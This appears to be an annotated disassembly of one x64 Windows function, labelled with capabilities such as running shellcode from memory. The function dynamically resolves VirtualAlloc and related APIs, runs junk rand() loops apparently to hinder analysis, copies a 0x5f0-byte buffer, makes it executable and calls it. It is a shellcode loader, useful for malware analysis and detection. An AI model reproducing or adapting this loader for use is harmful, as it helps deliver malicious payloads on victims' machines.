Function at 0x140002ff0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov rsi, rcx
mov rax, qword [0x140013040]
xor rax, rsp
mov qword [rsp + 0x30], rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x14000309c
mov rdi, rax
mov ebx, 0xa
mov r14, qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
nop
call r14
cdqe
imul rcx, rax, 0x51eb851f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x25
add ecx, edx
imul ecx, ecx, 0x64
sub eax, ecx
mov dword [rsp + 0x2c], eax
call r14
cdqe
imul rcx, rax, 0x51eb851f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0xc8
sub eax, ecx
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x2c]
add eax, dword [rsp + 0x24]
mov dword [rsp + 0x28], eax
dec ebx
jne 0x140003030
lea rdx, str.VirtualAlloc
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
jmp 0x14000309e
xor ebx, ebx
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x14000312c
mov rdi, rax
mov ebp, 0xa
mov r14, qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
nop
call r14
cdqe
imul rcx, rax, 0x51eb851f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x25
add ecx, edx
imul ecx, ecx, 0x64
sub eax, ecx
mov dword [rsp + 0x2c], eax
call r14
cdqe
imul rcx, rax, 0x51eb851f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0xc8
sub eax, ecx
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x2c]
add eax, dword [rsp + 0x24]
mov dword [rsp + 0x28], eax
dec ebp
jne 0x1400030c0
lea rdx, str.VirtualFree
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
jmp 0x14000312e
xor edi, edi
lea rcx, [0x140010e51]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x1400032b4
mov r14, rax
mov ebp, 0xa
mov r15, qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
nop word cs:[rax + rax]
call r15
cdqe
imul rcx, rax, 0x51eb851f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x25
add ecx, edx
imul ecx, ecx, 0x64
sub eax, ecx
mov dword [rsp + 0x2c], eax
call r15
cdqe
imul rcx, rax, 0x51eb851f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0xc8
sub eax, ecx
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x2c]
add eax, dword [rsp + 0x24]
mov dword [rsp + 0x28], eax
dec ebp
jne 0x140003160
lea rdx, str.RtlMoveMemory
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rbx, rbx
je 0x1400032b4
test rdi, rdi
je 0x1400032b4
test rax, rax
je 0x1400032b4
mov edx, 0x5f0
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 4
call rbx
test rax, rax
je 0x1400032dc
mov rbx, rax
lea rcx, str.Memory_allocated_at__p_n
mov rdx, rax
call fcn.140002570
mov r8d, 0x5f0
mov rcx, rbx
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov esi, 0xa
nop dword [rax + rax]
call r15
cdqe
imul rcx, rax, 0x51eb851f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x25
add ecx, edx
imul ecx, ecx, 0x64
sub eax, ecx
mov dword [rsp + 0x2c], eax
call r15
cdqe
imul rcx, rax, 0x51eb851f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0xc8
sub eax, ecx
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x2c]
add eax, dword [rsp + 0x24]
mov dword [rsp + 0x28], eax
dec esi
jne 0x140003230
lea r9, [rsp + 0x2c]
mov edx, 0x5f0
mov rcx, rbx
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400032e5
lea rcx, str.Executing_shellcode...
call sub.api_ms_win_crt_stdio_l1_1_0.dll_puts
call rbx
jmp 0x1400032f1
lea rsi, str.Failed_to_resolve_necessary_functions.
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.14000c770
mov rcx, rsi
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
jmp sub.api_ms_win_crt_stdio_l1_1_0.dll_puts
lea rsi, str.Failed_to_allocate_memory.
jmp 0x1400032bb
lea rcx, str.Failed_to_change_memory_protection.
call sub.api_ms_win_crt_stdio_l1_1_0.dll_puts
mov rcx, rbx
xor edx, edx
mov r8d, 0x8000
call rdi
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.14000c770
nop
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret